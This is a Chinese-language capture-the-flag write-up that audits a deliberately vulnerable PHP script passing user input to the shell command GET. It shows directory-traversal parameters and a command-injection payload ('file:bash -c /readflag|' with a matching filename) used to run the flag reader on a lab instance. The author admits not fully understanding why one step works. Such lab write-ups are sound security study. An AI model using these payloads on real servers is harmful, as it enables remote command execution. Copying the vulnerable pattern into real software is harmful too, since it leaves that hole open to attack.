说明
题目直接给出了源码,原本以为会很简单,没想到涉及了一大堆的linux命令行的命令执行,看了别人大佬的WP后感动鸭梨山大,但是认真复现后发现受益良多~
一、代码审计(这里为了不泄露个人信息,就假设了一个IP地址吧)
原本还以为是很简单的XFF漏洞利用,没想到啊~
127.0.0.1<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
代码分析:
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
? ? @mkdir($sandbox);
? ? @chdir($sandbox);
$_SERVER["REMOTE_ADDR"]在这里相当于我们回显的IP地址。
所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."127.0.0.1");
执行后得到一个路径为:sandox/cfbb870b58817bf7705c0bd826e8dba7
然后使用mkdir()创建了这样的一个沙盒路径,并且使用chdir()将当前工作路径修改为:
sandox/cfbb870b58817bf7705c0bd826e8dba7
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
这段代码比较灵魂的地方是在于$data变量
shell_exec("GET " . escapeshellarg($_GET["url"]));
这里使用了GET命令,以及一个过滤函数escapeshellarg()来过滤传入的变量url,生成的结果会放入变量$data中。
pahinfo()函数就是将传入的路径“字典化”,比如:
var_dump(pathinfo('sandox/cfbb870b58817bf7705c0bd826e8dba7/123'));
=>
array(3) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(3) "123"
["filename"]=>
string(3) "123"
}
区别一下:
var_dump(pathinfo('sandox/cfbb870b58817bf7705c0bd826e8dba7/123.txt'));
=>
array(4) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(7) "123.txt"
["extension"]=>
string(3) "txt"
["filename"]=>
string(3) "123"
}
最后也是最重要的是file_put_contents(basename($info["basename"]),?$data);
这个将我们linux命令生成的结果,放入了文件中(如果传入的文件名是123,那么$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123中)
解题步骤
由于使用了GET来进行文件的执行操作,我们可以通过GET这个命令来浏览其他目录的内容
步骤一:
先传参:?url=./../../&filename=125
下一步访问文件
http://7edaf5b8-5f95-433a-b3d0-7c91f8e86d39.node4.buuoj.cn/sandbox/cfbb870b58817bf7705c0bd826e8dba7/125
出现了:
tips:(这里我一般打开多个页面,方便调试来自~)
通过这个方法去访问更上层的内容,看看能不能访问到flag
再传参:?url=./../../../../../&filename=125
步骤二:
但是执行到这一步后直接访问flag是空的,访问readflag发现是一串二进制文件(会自动下载下来看的)
所以显然是通过使用命令行去执行readflag,从而获取flag
针对GET命令,使用file:来搭配读取文件
而想执行readflag文件,仅仅是使用file:是不够的,还需要使用Linux下的命令执行:bash -c
目的:把通过命令行执行readflag后的结果放入文件123中。
再次传参:/?url=file:bash -c /readflag&filename=bash -c /readflag
进一步传参:/?url=file:bash -c /readflag&filename=123
发现文件没有写入成功,看了WP后说是要多加一个管道符“|”
再次传参:/?url=file:bash -c /readflag|&filename=bash -c /readflag
进一步传参:/?url=file:bash -c /readflag&filename=123
访问http://7edaf5b8-5f95-433a-b3d0-7c91f8e86d39.node4.buuoj.cn/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
总结
对于第一次传参的文件名filename=bash -c /readflag
感到异或,我试过其他的文件名第一次是不可以的,但是使用上面的文件名后再次修改其他的文件名发现是可以的。先保留吧,后续我弄出来了就处理
|